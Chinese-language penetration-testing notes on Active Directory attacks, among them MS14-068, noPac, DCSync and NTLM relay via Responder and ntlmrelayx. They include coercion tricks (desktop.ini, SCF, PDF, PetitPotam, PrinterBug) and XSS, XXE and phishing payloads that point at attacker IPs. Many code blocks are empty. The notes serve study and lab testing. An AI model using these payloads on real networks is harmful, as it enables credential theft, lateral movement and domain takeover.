Get-DomainComputer -LDAPFilter “(msDS-AllowedToActOnBehalfOfOtherIdentity=)”
Get-DomainUser -LDAPFilter “(msDS-AllowedToActOnBehalfOfOtherIdentity=)”
PAC
https://www.anquanke.com/post/id/192810
MS14-068
这是一个域内提权漏洞
漏洞成因是KDC无法正确检查PAC中的有效签名,因为PAC签名实现的加密允许所有的加密算法,只要客户端指定任意签名算法,KDC就会使用这个指定的算法验证签名,这里就可以指定使用不需要相关密钥的算法比如md5,那么我们就可以自己伪造PAC,实现伪造自己用户的SID和所在的组
通过上面的描述可以知道,我们可以伪造自己为域管理员组的成员实现域内提权
旧版server比如win2008 server上利用kekeo即可实现利用:
1
kekeo.exe "exploit::ms14068 /domain:yuy0ung.com /user:username /password:password /ptt" "exit"当然也可以使用impacket中的goldenPac直接获取交互式shell
CVE-2021-42287(nopac)
https://www.anquanke.com/post/id/263910
漏洞利用流程:
- 利用SAMR协议创建无SPN的机器账户machine$
- 修改机器账户machine$的saMAccountName属性为DC01
- 以AD01的账户请求TGT
- 将机器账户machine$的saMAccountName属性还原为machine$
- 利用S4U2self协议,以域管的身份请求DC01的服务,请求中带上上一步的TGT,此时KDC会查询DC01,发现账户不存在,于是又查询DC01$,查询到是域控,于是允许域控发起S4U2self请求自身的服务,返回域管理员权限访问DC服务的ST
- 接下来就可以使用高权限票据执行高权限操作了
上述过程可以直接使用工具nopac.exe一步到位:
1 | |
运行完成即可生成票据并导入内存
黄金票据与白银票据攻击区别
| 获取值 | 得到服务 | ||
|---|---|---|---|
| 黄金票据 | 只需获取krbtgt的密码hash值 | 可获得任何Kerberos服务 | |
| 白银票据 | 需获取不同服务账户对应密码hash值 | 只能获得对应服务 |
SPN
SPN 定义
SPN 是 Kerberos 中标识服务的唯一名称,格式为:
服务类型/主机名:端口@域名
例如:CIFS/dc.god.com、HTTP/web.god.com
常见 SPN
| SPN | 服务 |
|---|---|
| CIFS | 文件共享 |
| HTTP | Web服务 |
| MSSQLSvc | SQL Server |
| LDAP | LDAP服务 |
| HOST | 通用主机服务 |
DCSync攻击与票据的联系
DCSync 并不是普通的 LDAP 查询,它本质是调用:
- MS-DRSR(Directory Replication Service Remote Protocol)
- 模拟“域控之间复制数据”
也就是说:👉 你要“伪装成域控”去请求复制用户密码哈希
✔ 必要条件:
- 有一个已认证的身份(Kerberos 或 NTLM)
- 比如:
- 域用户票据(TGT/TGS)
- NTLM hash(用于 pass-the-hash)
- 比如:
- 该身份具备复制权限
🔥 3. 真正关键:复制权限(比票据更重要)
必须拥有以下权限之一:
Replicating Directory ChangesReplicating Directory Changes All- (有时还需要)
Replicating Directory Changes In Filtered Set
常见拥有这些权限的账号:
- Domain Admins ✅
- Enterprise Admins ✅
- Domain Controllers(机器账户)✅
- 被委派的账号(ACL配置)⚠️
👉 没这些权限,就算你有票据,也 DCSync 不动
拿到高权限用户的票据以证明身份,拥有能够执行DCSync操作的权限
NTLM中继
NTLM协议
LM Hash&NTLM Hash
本地用户保存用户密码Hash值再SAM文件中,位置是%SystemRoot%\system32\config\SAM,域用户的Hash值位于NTDS.dit中,文件位置是C:\WINDOWS\NTDS\ntds.dit,以下是Hash值格式
1 | |
其中的 AAD3B435B51404EEAAD3B435B51404EE 是LM Hash,31D6CFE0D16AE931B73C59D7E0C089C0 是NTLM Hash。
LM Hash
LM Hash 的全称为 LAN Manager Hash,这是 Windows 中最早用的加密算法。
LM Hash的计算方式如下:
1 | |
NTLM Hash
为了解决 LM Hash 加密和身份验证方案中固有的安全弱点,Microsoft 于1993年在Windows NT 3.1中引入了NTLM协议。下面是各个版本对LM和NTLM的支持。
从Windows Vista 和 Windows Server 2008开始,默认情况下只存储 NTLM Hash,LM Hash 将不再存在。如果空密码或者不储蓄 LM Hash 的话,我们抓到的LM Hash是 AAD3B435B51404EEAAD3B435B51404EE。所以在 Windows 7 中我们看到抓到 LM Hash 都是AAD3B435B51404EEAAD3B435B51404EE,没有意义。
LM Hash的计算方式如下:
1 | |
NTLM认证机制
NTLM在工作组中的认证
NTLM在工作组和在域中都采用Challenge/Response验证机制,由如下三个部分组成
- type1: 协商(negotiate)
- type2: 质询(challenge)
- type3: 身份验证(Authenticate)
用如下图可概括
Client缓存的是用户刚开始输入服务器密码的NTLM Hash值

NTLM在域环境中的认证
由于在域环境中,所有域用户的哈希值都储存在域控制器的NTDS.dit中,服务器本身无法计算Response消息,因此需要与域控建立一个安全通道,通过域控完成最终的认证流程
依旧是type1、2、3,不过是身份验证部分交给了DC来进行
如下图概括
Net-NTLM Hash
Net-NTLM Hash 是网络环境下 NTLM 认证的散列值。NTLM v1 响应和 NTLM v2 响应对应的就是 Net-NTLM Hash 分为 Net-NTLM Hash v1 和 Net-NTLM Hash v2。
Net-NTLM Hash v1的格式为:
1 | |
Net-NTLM Hash v2的格式为:
1 | |
HMAC-MD5对应Type3数据包中的NTProofStr
blob为数据包中Response减去NTProofStr后剩下的部分
NTLM Relay攻击
https://www.cnblogs.com/yokan/p/16102699.html

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。
在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。
攻击获得了什么
中继攻击获得的是发起认证的用户权限,不是 SMB 服务本身的权限。 中继的是用户的 NTLM 认证
→ 用该用户身份访问目标 → 拥有该用户在目标上的权限
场景 1:域用户发起认证
用户张三(god\zhangsan)被诱导发起认证 攻击者中继到目标服务器 B 结果:攻击者拥有张三在 B 上的权限,张三在 B能做什么,攻击者就能做什么。
攻击思路
思路
中继攻击用于获取目标机器的访问权限,而不是破解密码。
传统思路:获取 hash →破解密码 → 登录 中继思路:获取 hash → 直接中继 → 获得访问权限
省去了破解密码的步骤。
横向移动
已控制一台主机,获取域用户认证,中继到其他机器,成功后:获得目标机器访问权限。
权限提升
普通用户认证被中继到高权限机器。 域普通用户 → 被诱导发起认证 → 中继到某服务器 → 该用户在服务器上有管理员权限 →获得服务器控制权
中继到 LDAP 进行后续攻击
赋予域用户DCSync操作权限,发起DCSync攻击
具体执行
中继成功后的下一步攻击
方法一:获取交互式 Shell
1 | |
成功后会显示:
1 | |
方法二:直接执行命令
1 | |
方法三:导出本地 Hash
1 | |
输出示例:
1 | |
方法四:使用 impacket 单独连接
中继成功后,用其他工具继续操作:
1 | |
方法五:上传并执行恶意文件
1 | |
完整攻击流程示例
假设场景:已获取域内普通用户凭证,想横向移动。
步骤一:扫描可中继目标
1 | |
步骤二:启动监听
终端一:
1 | |
终端二:
1 | |
步骤三:触发认证
1 | |
步骤四:获得 Shell 后操作
1 | |
中继到 LDAP 的攻击
LDAP 中继可以执行域操作:
添加机器账户:
1 | |
提升用户权限:
1 | |
导出 LAPS 密码:
1 | |
总结
中继攻击的核心价值:不需要破解密码,直接获得访问权限。
常见用途:
- 横向移动
- 获取 shell
- 导出 hash
- 中继到 LDAP 操作域
后续攻击:
- 执行命令
- 上传后门
- 导出凭证
- 持久化控制
发起并截获NTLM请求
NTLM是一种嵌入式协议,消息的传输依赖使用NTLM进行认证的上层协议,如SMB,LDAP,HTTP等只要使用这些协议的应用程序都可以要求用户发起NTLM请求。测试人员可通过Reseponser等工具对用户的NTLM认证请求进行拦截,以获取其Net-NTLM Hash
NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种
Responder欺骗原理
基本协议LLMNR、NBNS、MDNS
在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(*LLMNR)*、名称服务器(NBNS) 协议和多播DNS(mdns)协议。
LLMNR
**链路本地多播名称解析(LLMNR)**是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。
NBNS
网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。
mdns
在计算机网络中 , 多播DNS ( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统 (DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且MDNS也支持IPV6。
目前仅有windows 10支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。
总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。
例如当域内win10主机在ping 一个不存在的主机名时,会按照下列流程尝试解析(win10和win7有不同表现):
1 | |
域内win10主机ping win-test
由上图可以看出,在DNS解析失败后,会通过LLMNR、MDNS和NBNS再次尝试进行解析,LLMNR和MDNS分别向224.0.0.252、224.0.0.251两个IPV4多播地址进行广播,而NBNS则是向广播地址进行广播。
PS:224.0.0.252、224.0.0.251是IPV4多播地址,具体关于IPV4多播地址的更多信息可以自行查找相关资料。
NTLM攻击常用方法
https://xz.aliyun.com/news/8137
https://mp.weixin.qq.com/s/y1ehsvJEBkZ-qynNrOlAuA
https://www.freebuf.com/articles/system/194549.html
https://www.freebuf.com/articles/network/256844.html
https://www.freebuf.com/articles/network/265246.html
Windows中,通过设置恶意服务器的UNC路径,能够使受害机器自动使用当前用户凭证像恶意服务器发起NTLM认证
UNC(Universal Naming Convention)路径是 Windows 系统中用于访问网络资源的标准路径格式。
格式
\服务器名\共享名\路径\文件
示例
- \Server01\ShareFolder\docs\file.txt
- \192.168.1.100\public\readme.md
特点
- 双反斜杠开头 - 以 \ 标识这是网络路径
- 不依赖盘符 - 不需要映射为本地驱动器字母(如 Z:)
- 跨机器访问 - 用于访问局域网内其他计算机的共享资源
常见用途
- 访问网络共享文件夹
- 配置文件中引用远程资源
- 脚本和程序中定位网络文件
- Docker 容器挂载网络存储
系统命令
利用系统命令传入UNC路径,执行时,会对目标主机发起NTLM认证请求
开启responder
1 | |
利用win7访问攻击机
1 | |

可以看到kali捕获了ntlmv2 hash

获取hash值之后,我们尝试使用kali自带的hashcat对这段hash进行暴力破解,当然密码字典需要自己提供一下。kali自带的hashcat是一个破解密码的神器,可支持调用CPU、GPU,且GPU的破解速度是CPU完全比不了的,破解密文类型多,支持各种加密算法,大家有兴趣可以了解下。这里就简单使用hashcat破解该用户的密码:
1 | |
获得的 NTLMv2 hash 主要有以下几种利用方式:
- 离线破解
使用 hashcat 或 john 破解获取明文密码
hashcat
hashcat -m 5600 hash.txt wordlist.txt
John the Ripper
john –format=netntlmv2 hash.txt
john –wordlist=/usr/share/wordlists/rockyou.txt hash.txt
- Pass-the-Hash
不需要破解,直接使用 hash 进行认证
impacket 工具套件
| 工具 | 用途 |
|---|---|
| wmiexec.py | WMI 远程执行 |
| smbexec.py | SMB 远程执行 |
| psexec.py | PSExec 远程执行 |
| smbclient.py | SMB 文件访问 |
WMI 远程执行
1 | |
SMB 远程执行
1 | |
PSExec
1 | |
SMBClient
1 | |
Metasploit Framework
1 | |
- 中继攻击 (Relay Attack)
如果 hash 无法破解,可中继到其他机器
ntlmrelayx
基本中继
1 | |
配合 Responder 关闭 SMB 起伏
1 | |
多协议中继
1 | |
- 域内信息收集
使用 hash 获取目标凭证
1 | |
Hash 格式说明
NTLMv2 hash 格式:
user::domain:challenge:NTLMv2_response:NTProofStr
示例:
Administrator::WORKGROUP:1122334455667788:0102030405060708090a0b0c0d0e0f10:112233445566778899aabbccddeeff00
注意事项
- NTLMv2 较难破解 │ 尝试弱密码字典、公司名+年份组合
- 中继需同网段 │ 通常需要在同一网段才能成功中继
- 域环境更有价值 │ 域管 hash 可横向移动到多台机器
desktop.ini
我们可以通过图标资源来代替代 net use这条命令,比如我们可以创建一个文件夹test,并在test下再创建一个文件夹如test2,通过给test2设置其他图标,能在test2文件夹下生成一个隐藏的系统文件desktop.ini,而通过修改设置可以使desktop.ini可见,最后编辑这个文件,将图标资源指向一个攻击机,打开test文件夹之后即可获取hash值。
创建文件夹更改图标

此时desktop.ini文件已生成,需要修改配置使desktop.ini文件可见:

进入test2文件夹可以看到desktop.ini文件
将上图中原本的IconResource路径修改

格式
1 | |
设置完成后打开文件夹kali攻击机会拦截到ntlm hash值
SCF文件
SCF文件是Windows文件资源管理器命令文件,也是一种可执行文件,该文件中的IconFile属性可以指定UNC路径
在一个文件夹下新建一个test.scf文件
1 | |
打开文件夹时,目标主机将尝试加载指定路径的图标资源,攻击机将截获NTLM hash

新版Responder会自动跳过已截获hash
PDF文件
PDF规范允许为GoTobe和GoToR条目加载远程内容。测试人员可以在PDF文件中插入UNC路径,用户打开文档是,将向恶意服务器发起NTLM认证
利用工具
- deepzec/Bad-Pdf https://github.com/deepzec/Bad-Pdf
将生成好的pdf上传到目标主机即可
注意:只有目标主机使用Adobe Reader打开文件时才会发起NTLM请求
office文档
Office文档的document.xml.rels文件可以插入UNC路径,向指定服务器发起NTLM请求
新建一个word文档任意插入一张图片后保存,使用压缩软件打开上述word文档
在word\ _rels目录下找到并打开document.xml.rels文件,找到刚才插入图片对应的Target参数,将其修改为恶意服务器的UNC路径,加上TargetMode=”External”

将word文档上传到目标主机
PrivExchange漏洞
https://www.anquanke.com/post/id/170199
Microsoft Exchange允许任意关联了Exchange邮箱的用户同归EWS接口来创建一个推送订阅,并可以指定URL作为通知推送的目的地。当触发通知推送时,Exchange将使用CredentialCache.DefaultCredentials发出HTTP请求,并以机器账户的身份发起NTLM认证。
需要一个关联了Exchange邮箱的用户权限
开启Responder监听
1 | |
通过privexchange.py连接到Exchange服务器(192.168.89.135)的EWS接口,以创建一个推送订阅,经过一分钟后,Exchange服务器将以机器账户的身份向攻击机发起NTLM认证
通常安装Microsoft Exchange服务器后,会在域中添加Exchange Trusted Subsystem,包含所有Exchange服务器,并且默认对与对象拥有WriteDACL权限。因此,Exchange机器账户具备域权限修改能里,能够为域普通成员服务DCSync操作权限
PrinterBug漏洞
Windows 的 MS-RPRN 协议用于打印客户机和打印服务器之间的通信,默认情况下是启用的。协议定义的 RpcRemoteFindFirstPrinterChangeNotificationEx() 调用创建一个远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端。
任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过 Kerberos 或 NTLM 进行验证)。微软表示这个 bug 是系统设计特点,无需修复。
工作组触发 printerbug 是没问题,pipepotato 在工作组内也能起作用,问题在打印机服务是以 system 用户的权限运行的服务,system 用户在工作组内的网络凭据是匿名的,wireshark 抓包应该可以看到是 \,也就是不携带任何凭据。域内能利用是因为 system 用户在域内的网络凭据是机器用户的凭据。所以主要问题应该是网络凭据这块。network service 的网络凭据也是机器用户,pc默认会开启,且一般很少去关
利用工具
- SpoolSample.exe
- Printerbug.py
开启Responder监听后执行命令
1 | |
PetitPotam漏洞
MS-EFSR中有一组API,可通过FileName参数指定UNC路径
PetitPotam可以通过滥用这些API迫使主机向恶意服务器发起NTLM认证请求,通过Responder工具即可截获目标机器Net-NTLM hash
- 需要有域用户权限
- 在Windows Server 2008/2012上,可匿名访问的命名管道不为空,可以匿名触发
先利用Responder开启监听
利用PetitPotam工具
https://github.com/topotam/PetitPotam
1 | |
kali地址:192.168.89.130
目标主机地址:192.168.89.135
顺利截获Net-NTLM hash

常见Web漏洞利用
xss
HTML标签允许使用href或src属性构造网络路径,两种构造方法
构造UNC路径,触发SMB请求并向恶意服务器发起NTLM认证
1
2
3
4# IE浏览器
<script src="\\192.168.89.130\xss"></script>
# 借助LLMNR/NBNS,适用于IE和edge浏览器
<script src="\\UnknownName\xss"></script>用户访问了插入此代码的网站,Responder讲截获NTLM hash
构造HTTP路径
1
<script src="//192.168.89.130/xss"></script>当用户访问插入该代码的网站时,会弹出一个认证对话框
用户填写完账号和密码后,Responder会截获目标用户的Net-NTLM hash
在Edge等浏览器中存在信任区域,包括互联网,本地内部网等区域

默认情况下,只有当某站点的域名在本地内部网或收信任的站点列表中时,浏览器才会自动使用当前计算机的用户名和密码进行NTLM认证,其他情况都会弹出验证框,让用户手动验证

许多组织将企业子域名所托管的所有数据标记为可信任数据。如在hack.com域中,*.hack.com位于白名单中,那么测试人员只需要获取 *.hack.com下的某台服务器,使用该服务器启动Responder监听,就可以让浏览器自动以登陆用户的凭据发起NTLM认证
Powermad项目的Invoke-DNSUpdate.ps1脚本可以用来向域内添加一条DNS记录。由于域内的成员默认具有添加DNS的权限。因此可以通过该脚本为运行Responder的服务注册一个子域名
1 | |
xss攻击向量
1 | |
子域名位于本地网内部列表中,用户触发xss会自动以当前登录的用户凭证认证
文件包含
windows环境下,php常见的文件包含文件读取类函数,可以解析UNC网络路径
1 | |
xxe,ssrf同理
xxe
在 xxe 里面加载外部文件的时候,如果路径支持 unc 路径的话,是能拿到 net-ntlm hash 的。
如果不支持 UNC,可再测试 http 协议。
在这里使用“php://filter/convert.base64-encode/resource=”来解析网络路径。
1
2
3
4
5
6
7
8
9<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
<name></name>
<tel></tel>
<email>OUT&xxe;OUT</email>
<password></password>
</root>ssrf
在 ssrf 里面如果支持 file 协议,并且 file 协议能加载远程资源的话,是能拿到 net-ntlm hash 的。
当只支持 HTTP 协议的时候,也是可能打回 net-ntlm hash 的。
SQL注入
MySQL数据库,load_file,into dumpfile等常见操作支持UNC路径
1 | |
如果目标网站存在SQL注入,就可以通过此类操作触发SMB请求,向指定服务器发起NTLM认证,使用该方法的前提是拥有相关操作的权限,并且没有Secure_file_priv的限制
具体权限和限制以及操作流程
1 | |
对于SQL server数据库,通过调用xp_dirtree等存储过程可以发起NTLM请求
1 | |
SQL Server提供扩展的存储过程(一组为了完成待定功能的SQL语句集合,经过编译后存储在数据库中),其中一些存储过程命名以xp开头,可用于处理系统中文件
注意:当SQL Server是由Local System或Network Service服务账户启动时,将由机器账户发起NTLM认证。当SQL Server由域用户账户启动时,将由用户账户发起NTLM认证
利用LLMNR和NetBIOS欺骗
在攻击机responsder开启监听
1 | |
- -I:指定使用的网卡
- -f:允许攻击者查看受害者的主机指纹
- -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在
日志中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个-v选项
此时在win7尝试连接未命名主机
1 | |
Responder截获hash
其他方法
https://xz.aliyun.com/news/8137
中继到SMB利用

将NTLM请求中继到SMB服务
SMB服务
基本定义
SMB(Server Message Block)是 Windows 网络文件共享协议。
作用:让不同计算机之间共享文件、打印机、串口等资源
端口:445(SMB over TCP)、139(NetBIOS)
版本:SMBv1、SMBv2、SMBv3
主要功能
文件共享
访问远程文件:\服务器\共享目录
读取、写入、删除远程文件
打印机共享
共享网络打印机
打印任务队列管理
远程管理
远程进程管理
远程服务控制
远程注册表访问
常见用法
访问共享目录
net use \192.168.1.100\c$ /user:domain\user password
查看共享资源
net view \192.168.1.100
映射网络驱动器
net use Z: \192.168.1.100\share
SMB 与安全
为什么攻击者关注 SMB
- 默认开启:Windows 系统默认启用
- 认证机制:使用 NTLM/Kerberos 认证 → 可捕获 hash
- 高权限:SYSTEM 权限运行
- 广泛使用:内网环境大量存在
著名漏洞
永恒之蓝(EternalBlue):SMBv1 漏洞,WannaCry 勒索病毒利用
SMB 中继:NTLM 认证中继攻击
SMB 版本
┌───────┬────────┬──────────────────────┐
│ 版本 │ 安全性 │ 说明 │
├───────┼────────┼──────────────────────┤
│ SMBv1 │ 不安全 │ 已弃用,永恒之蓝利用 │
├───────┼────────┼──────────────────────┤
│ SMBv2 │ 较安全 │ Windows Vista+ │
├───────┼────────┼──────────────────────┤
│ SMBv3 │ 安全 │ 支持加密、签名增强 │
└───────┴────────┴──────────────────────┘
查看 SMB 版本:
nmap -p 445 –script smb2-security-mode 目标IP
关闭 SMBv1
查看状态
Get-SmbServerConfiguration | Select EnableSMB2Protocol
禁用 SMBv1
Set-SmbServerConfiguration -EnableSMB1Protocol $false
SMB签名
核心规则
通信双方签名配置必须匹配,否则无法建立会话。
四种场景
服务器开启签名 + 客户端开启签名 = ✅ 可连接
服务器开启签名 + 客户端关闭签名 = ❌ 无法连接
服务器关闭签名 + 客户端开启签名 = ❌ 无法连接
服务器关闭签名 + 客户端关闭签名 = ✅ 可连接
默认配置
工作站/成员服务器:客户端签名开启,服务端签名关闭
域控制器:客户端签名开启,服务端签名开启
对攻击的影响
域控默认开启服务端签名,无法中继攻击。
成员服务器和工作站默认关闭服务端签名,可能被中继攻击。
一句话总结
只要服务端开启签名,客户端必须同样开启才能连接。域控默认开启签名防御 NTLM 中继。
在SMB中继攻击前扫描内网机器SMB签名情况
使用responder内的RunFinger.py工具扫描域内机器的SMB签名情况
1 | |
域环境下的利用
在域环境中,所有域用户的hash值都存储在活动目录数据库中,因此可以直接将域用户的NTLM请求中继到其他机器。前提是该机器没有开启SMB签名,并且没有限制该域用户登录
网络环境

攻击者KALI:192.168.89.130
VM1:192.168.89.135(NAT);192.168.52.143(host-only)
VM2:192.169.52.141(host-only)
VM3:192.168.52.138(host-only)
ntlmrelayx.py
impack项目的ntlmrelayx.py脚本用于执行NTLM攻击
执行以下命令
1 | |
通过前文介绍方法,诱导客户端向服务端发起NTLM认证,ntlmrelayx.py会中继当前请求到Server,成功后会执行系统命令
这里我们直接使用系统命令
1 | |
看到并没有执行系统命令
域控开启了SMB签名,中继失败(这个环境是我还没打通的一个靶场)

确实无法使用SMB中继

执行以下命令
1 | |
将在中继成功后向目标服务器上传并执行攻击载荷
同时要开启msf端口监听,顺利的话能看到目标主机上线
MultiRelay.py
获取目标服务器的交互式shell,但是目前没有对SMBv2的支持
使用方法如下
responder工具位于/usr/share/responder/tools
1 | |
在Client上向恶意服务器发起NTLM请求,MultiRelay.py会拦截该请求并将其中继到Server,成功的话会获取到交互式shell

这个环境的域控开启了SMB签名,但是我们getshell的web服务器未开启SMB签名,所以这里中继到SMB服务器进行利用不成功
工作组的利用
在工作组环境中,每台服务器的账号和密码不同,hash值保存在本地的SAM文件中,很难拿将一台机器的NTLM请求中继到其他机器上
主要利用是将NTLM请求中继回本机,主要利用:MS0-068和cve-2019-1384
https://tttang.com/archive/1560/#toc_cve-2019-1384_ghost-potato
https://www.jianshu.com/p/c7d8e7d9c03c
中继到SMB攻击原理
SMB 中继攻击原理与密码的关系
核心要点
攻击者全程不需要知道用户密码,这就是中继攻击的核心。
NTLM 认证正常流程
- 客户端请求连接
- 服务器返回 Challenge(随机数)
- 客户端用密码哈希加密 Challenge,生成 Response
- 服务器验证 Response
密码哈希在客户端,用于计算 Response。服务器也有密码哈希,用于验证。
攻击者不知道密码为什么能成功
攻击者站在中间,不计算 Response,只是转发:
受害者 A 生成 Response(用 A 的密码哈希计算)
攻击者转发 Response 到目标 B
目标 B 验证 Response
关键点:A 和 B 使用相同的密码哈希。
密码的作用
密码在 NTLM 认证中的位置:
密码 → 密码哈希(NTLM Hash) → 用于加密 Challenge → 生成 Response
攻击者获得的是 Response,不是密码,也不是密码哈希。
Response 无法反推出密码或密码哈希。
为什么域环境更容易成功
域环境:
机器 A 的机器账户:GOD\A$,密码由域统一管理
机器 B 的机器账户:GOD\B$,不同账户
但是:A 的本地 SYSTEM 账户在 B 上可能有权访问
或者:抓获的是域用户认证
实际上域环境成功的原因:
域用户账户:god\administrator 在域控和成员服务器上都存在且密码相同
机器账户:god\STU1$ 的密码只在域控注册,无法中继到其他机器
中继成功是因为:
A 发起的认证 → 是域用户认证 → 域用户在 B 上也存在且密码相同 → 认证成功
为什么工作组难成功
工作组每台机器独立:
机器 A:administrator 密码 123456
机器 B:administrator 密码 abcdef
中继时:
A 的 Response 用 123456 的哈希计算
B 验证时用 abcdef 的哈希验证
结果:不匹配,认证失败
总结:密码在中继攻击中的关系
攻击者:不需要知道密码,只转发 Response
成功条件:A 和 B 使用相同的账户名和密码
域环境:域用户天然满足(同一账户,同一密码)
工作组:需要密码恰好相同,概率低
中继攻击的本质:
利用 NTLM 协议不验证来源的特性,把 A 的认证转发给 B。
只要 A 和 B 认为是同一个用户,就认证成功。
跟密码本身没有任何直接关系,攻击者永远不接触密码。
中继到Exchange利用
攻击者可以将用户的NTLM请求中继到Exchange服务,从而实现获取邮件信息,收发邮件,导出所有附件,船舰转发规则等操作。并且,很多组织会将Exchange服务器暴露在外网,中继攻击无需内网环境
利用工具:
- ExchangeRelayX
- NtlmRelayToEWS
执行以下命令
1
2python ./exchangeRelayx.py -t https://192.168.89.135
# -t 执行Exchage服务器地址在恶意服务器上启动ExchangeRelayX。启动后,该工具将在8000端口提供一个管理后台,可以访问受害用户的邮箱和联系人等
通过Outlook向目标用户发送嵌入了恶意HTML标签的钓鱼邮件,地址指向恶意服务器
在使用 outlook 的情况下还可以通过 homepage 或者下发规则达到命令执行的效果。
在 outlook 邮件中插入 HTML,触发 UNC
在邮件中插入如下标签:
1
2<img src="\\192.168.60.172\blank">
<img src="http://relayubuntu/blank">在用户通过 Outlook 打开邮件时:
- UNC 默认会通过 smb 协议发起 NTLM 认证,但是外网钓鱼的话,目标单位的 smb 流量可能无法出网。
- HTTP 默认不会发起 NTLM 认证,即使服务端对其进行 NTLM 挑战,除非服务端 url 位于服务器的信任网站或内联网列表。Windows 会认为 http://Netbios 形式的 url 处于内联网,域内用户默认有增加 DNS 记录的权限,因此攻击者需要先获取域用户权限并创建 DNS 记录来将恶意服务器”放入”内联网列表。显然,这种方法无法用于外网钓鱼。
1
2
3
4
5
6
7
8# 发送带 UNC 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="\\192.168.60.172\blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# 发送带 HTTP 路径的邮件
swaks --server 192.168.60.116 --ehlo island.com --to zhangsan@island.com --from test@island.com --header "Subject:relay_swaks_test" --body '<img src="http://relayubuntu/blank" style="display:none">this is a msg' --h-X-Mailer: 'Foxmail 7.2.20.273[cn]' --add-header "Content-Type: text/html"
# Powermad Invoke-DNSUpdate.ps1
# 创建 DNS 记录
Invoke-DNSUpdate -DNSType A -DNSName relayubuntu -DNSData 192.168.60.172用户查看邮件时,会向恶意服务器发起NTLM认证,ExchangeRelayX将截获用户的认证请求并中继到Exchange Server的EWS接口
此时目标用户的Exchange会话将在ExchangeRelayX提供的管理后台中上线。单击”GO to Portal”,将进入一个类似OWA界面的管理后台,测试人员可以在此以目标用户的身份进行一系列操作,接管目标用户的邮箱
中继至LDAP利用
注:LDAP服务一般在域控制器的389端口运行,想要将NTLM请求中继到LDAP服务器利用,需要控制一台内网主机,建立隧道和代理转发
LDAP服务
基本定义
LDAP(Lightweight Directory Access Protocol)轻量级目录访问协议。
作用:访问和管理目录服务
端口:389(LDAP)、636(LDAPS 加密)
常见实现:Active Directory、OpenLDAP
主要功能
目录服务
存储用户、计算机、组等对象信息
层级结构组织数据(树形结构)
快速查询和检索
身份认证
用户登录验证
统一身份管理(SSO)
权限控制
资源定位
查找域内资源
定位域控、打印机、服务等
Active Directory 中的 LDAP
域环境使用 AD 存储所有信息
LDAP 是访问 AD 的协议
用户登录 → LDAP 验证 → 获取权限
AD 数据结构
DC=god,DC=com
├── CN=Users
│ ├── CN=Administrator
│ └── CN=zhangsan
├── CN=Computers
│ └── CN=STU1
└── OU=部门
└── CN=员工
常见操作
查询用户
ldapsearch -x -H ldap://192.168.89.135 -D “cn=admin,dc=god,dc=com” -W -b “dc=god,dc=com” “(objectClass=user)”
匿名绑定测试
ldapsearch -x -H ldap://192.168.89.135 -b “” -s base namingcontexts
安全相关
为什么攻击者关注 LDAP
- 集中存储:所有用户、计算机、组信息
- 高价值:域管信息、组策略、信任关系
- 认证凭据:可用于获取 hash
- 中继目标:LDAP 中继可添加用户到域
LDAP 中继攻击
攻击者拦截 NTLM 认证 → 中继到 LDAP → 可执行:
- 添加域用户
- 修改用户权限
- 获取域信息
ntlmrelayx.py -t ldap://192.168.89.135 –add-computer
ntlmrelayx.py -t ldap://192.168.89.135 –escalate
查询工具
| 工具 | 用途 |
|---|---|
| ldapsearch | Linux 命令行查询 |
| impacket | getADUsers.py、ldapdomaindump.py |
| BloodHound | 图形化分析域关系 |
| CrackMapExec | 批量 LDAP 查询 |
示例:
获取域用户
python3 getADUsers.py -all god.com/user:password@dc.god.com
导出域信息
python3 ldapdomaindump.py -u ‘god.com\user’ -p ‘password’ ldap://192.168.89.135
LDAP签名
服务器启用LDAP签名后,客户端必须协商数据签名,否则无法执行LDAP查询
默认情况下,客户端是SMB协议,就默认要求LDAP服务器对NTLM认证请求强制签名,未签名的消息会被LDAP服务器忽略。如果是WebDAV或HTTP,就不要求签名
Write Dcsync ACL
